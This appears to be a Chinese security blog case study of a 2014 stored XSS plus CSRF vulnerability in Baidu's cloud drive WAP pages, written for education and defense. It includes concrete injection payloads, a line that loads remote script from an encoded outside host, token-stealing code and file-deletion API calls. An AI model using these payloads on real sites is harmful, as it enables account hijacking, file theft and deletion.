【案例分析】网盘高危漏洞深度剖析:存储型XSS与CSRF的组合攻击

文章目录

  • 前言
    • [1. 漏洞信息](#1. 漏洞信息)
    • [2. 漏洞核心原理](#2. 漏洞核心原理)
      • [2.1 存储型XSS原理](#2.1 存储型XSS原理)
      • [2.2 CSRF原理](#2.2 CSRF原理)
    • [3. 完整攻击链路](#3. 完整攻击链路)
      • [3.1 注入恶意脚本,生成分享链接](#3.1 注入恶意脚本,生成分享链接)
      • [3.2 构造WAP版直连链接,突破UA限制](#3.2 构造WAP版直连链接,突破UA限制)
      • [3.3 突破字符限制,加载远程恶意JS](#3.3 突破字符限制,加载远程恶意JS)
      • [3.4 窃取凭证,执行CSRF越权操作](#3.4 窃取凭证,执行CSRF越权操作)
    • [4. 漏洞关键细节与避坑点](#4. 漏洞关键细节与避坑点)
    • [5. 漏洞危害总结](#5. 漏洞危害总结)

⚠️本博文所涉安全渗透测试技术、方法及案例,仅用于网络安全技术研究与合规性交流,旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前,必须获得目标网络 / 系统所有者的明确且书面授权,严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。

前言

在Web安全领域,各类漏洞不断涌现,今天我们聚焦于一个极具代表性的案例------2014年百度云网盘的存储型XSS + CSRF组合漏洞。此漏洞在当年影响广泛,对于深入理解组合攻击思路具有重要价值,无论是新手学习入门,还是资深人士巩固知识,都十分值得深入探究。

1. 漏洞信息

  • 漏洞编号:wooyun - 2014 - 077970
  • 漏洞类型:存储型XSS + CSRF 组合漏洞

2. 漏洞核心原理

该漏洞的强大破坏力源于存储型XSS与CSRF的协同作用。存储型XSS负责窃取关键凭证,CSRF则利用这些凭证实施越权操作,二者结合使得漏洞危害呈指数级增长。接下来我们分别剖析它们的原理以及协同机制。

2.1 存储型XSS原理

存储型XSS,亦称为持久化XSS,其原理在于服务器未对用户输入内容进行任何安全过滤,便直接将恶意脚本存储至数据库或缓存中。当其他用户访问包含该内容的页面时,脚本会自动执行。在此案例中,百度云网盘的WAP版页面存在严重缺陷:用户的分享昵称(本案例以QQ昵称模拟)被直接拼接到页面的JS代码块中,且未进行任何转义处理。攻击者只需构造特殊的恶意脚本作为昵称并分享文件,所有访问该分享链接的用户,都会触发脚本执行。

核心注入Payload:";};alert(1)//

这个Payload的作用是通过";}闭合前面的JS变量赋值语句,然后执行alert(1)(用于测试),最后用//注释掉后面多余的代码,以避免语法错误。

2.2 CSRF原理

CSRF(跨站请求伪造),其核心是利用浏览器自动携带用户Cookie的特性,伪造用户身份,向服务器发送恶意请求,从而执行用户权限范围内的操作。

在此案例中,攻击者通过XSS脚本窃取到用户的bdstoken(百度云的接口鉴权凭证),结合浏览器自动携带的用户Cookie,无需用户手动操作,即可伪造用户请求,调用百度云的文件管理API,执行重命名、共享、删除文件等敏感操作。

关键前提在于:bdstoken权限过大,可直接驱动文件管理相关接口,且未做二次校验(如验证码、操作密码)。

3. 完整攻击链路

3.1 注入恶意脚本,生成分享链接

  1. 攻击者将自己的QQ昵称为恶意Payload:";};alert(1)//(利用QQ昵称作为用户输入载体,间接传入百度网盘);
  2. 登录百度云网盘,使用该账号分享任意文件,生成普通分享链接:http://pan.baidu.com/s/1kTqTrzL;
  3. 此时,该分享链接的PC版页面已修复XSS漏洞,无法触发脚本,但WAP版页面未修复,存在漏洞。

3.2 构造WAP版直连链接,突破UA限制

  1. 在百度搜索"pan.baidu.com wap",找到百度云网盘WAP版入口:pan.baidu.com/wap/link(该链接打开直接是WAP版,无需修改浏览器UA);
  2. 从步骤1的普通分享链接中,提取uk(用户标识)和shareid(分享标识)两个参数(可通过查看页面源码获取);
  3. 构造WAP版恶意分享链接:http://pan.baidu.com/wap/link?shareid=1180545652\&uk=1549176177,此时无需修改UA,任何人打开该链接都会触发XSS脚本(弹出alert(1))。

3.3 突破字符限制,加载远程恶意JS

此时遇到一个问题:QQ昵称最长只有36字符,无法直接写入复杂的恶意脚本(比如加载远程JS、窃取凭证),攻击者通过两个技巧突破限制:

  1. 利用"页面标题可控":分享页面的标题会包含分享者昵称和文件信息,可将长脚本藏在文件名/标题中;
  2. 构造Payload:alert(1);var a='_免费高速下载|百度云网盘 - 分享无限制"}";eval(document.title+"\x27")//,通过eval(document.title)执行标题中的脚本,规避字符限制;
  3. 进一步构造文件名Payload,加载远程恶意JS:document.body.appendChild(document.createElement('script')).src=String.fromCharCode(47,47,32473,46,112,119,47,50);var a=',成功执行外部恶意代码。

3.4 窃取凭证,执行CSRF越权操作

这是漏洞危害的核心步骤,攻击者通过加载的恶意JS,完成以下操作:

  1. 窃取bdstoken:从页面源码中提取鉴权凭证(通过字符串分割:document.documentElement.innerHTML.split("bdstoken=\u0022")[1].split("\u0022;FileUtils.mobileModel")[0]);
  2. 调用API获取文件列表:通过XMLHttpRequest发起GET请求,访问http://pan.baidu.com/api/list?num=100\&page=1\&dir=%2F\&order=time\&desc=1,获取受害者网盘内所有文件的fs_id(文件标识)和path(文件路径);
  3. 执行敏感操作:通过POST请求调用对应API,实现越权操作:
  • 重命名文件:请求地址/api/filemanager?opera=rename,传入文件路径和新文件名;
  • 共享文件:请求地址/share/set,传入文件ID;
  • 删除文件:请求地址/api/filemanager?opera=delete,传入文件路径。

至此,攻击者无需知道受害者的账号密码,仅凭一个恶意分享链接,即可完全操控受害者的百度云网盘文件。

4. 漏洞关键细节与避坑点

这个漏洞之所以能够成功利用,存在几个关键细节,这些既是我们学习过程中需要重点关注的"避坑点",也是企业安全开发中需要极力规避的问题。

  1. 遗留漏洞是重灾区:PC版已修复XSS漏洞,但WAP版被遗漏,导致攻击者可通过WAP版绕过防护。这警示我们:全端安全策略必须统一,移动端、PC端、小程序等不能出现"防护断层"。
  2. 输出点的危险性 :恶意脚本的输出点位于页面的<script>代码块中,在这种场景下,无需闭合HTML标签,只需闭合JS语句即可实现注入,不仅防护难度更低,而且更为隐蔽。
  3. 凭证权限过大:bdstoken可直接驱动所有文件管理操作,未做权限隔离和二次校验,一旦泄露,后果不堪设想。
  4. 字符限制的绕过技巧:当用户输入存在长度限制时,可利用页面中其他可控字段(如标题、文件名)存储长脚本,通过eval等方法调用,这是XSS绕过的常用思路。

5. 漏洞危害总结

该漏洞属于高危持久化漏洞,其危害主要体现在以下三个方面,这也是存储型XSS + CSRF组合攻击的典型危害:

  • 数据泄露:可窃取受害者网盘内的文件列表、敏感文件(如文档、照片),造成个人信息泄露;
  • 数据破坏:能够任意删除、重命名受害者网盘文件,导致数据丢失,影响用户正常使用;
  • 攻击扩散:可通过受害者的网盘分享,进一步传播恶意链接,扩大攻击范围,形成连锁危害。

尽管时间已过去许久,但其中蕴含的攻击思路和防御逻辑,在当下依然具有重要的应用价值。Web安全的核心,本质上是"信任边界"的问题:服务器不能过度信任用户输入,任何用户可控的内容,都必须经过严格的过滤和校验。

希望这篇复盘能助力大家更好地理解存储型XSS和CSRF漏。

本文是「Web安全基础」系列内容,点击专栏导航查看全部系列内容。

相关推荐
呉師傅1 小时前
将CD音频抓轨转换成MP3的两种方法【图文解释】
运维·服务器·网络·windows·电脑·音视频
Soonyang Zhang1 小时前
nccl分析(二)——RDMA带外建链过程
网络·nccl·集合通信
一路往蓝-Anbo1 小时前
第一章:嵌入式TDD-环境搭建
网络·stm32·单片机·嵌入式硬件·tdd
H Journey2 小时前
TCP断开连接四次挥手
网络·tcp/ip·四次挥手
闲人编程2 小时前
Agent的安全边界:如何防止AI失控(对齐问题)
网络·python·ai·agent·权限·智能体·cai
2401_8734794010 小时前
运营活动被薅羊毛怎么防?用IP查询+设备指纹联动封堵漏洞
java·网络·tcp/ip·github
应用市场10 小时前
Android A/B 无缝更新机制深度剖析
android·网络
rosemary51211 小时前
SOME/IP初试
网络·网络协议·tcp/ip·someip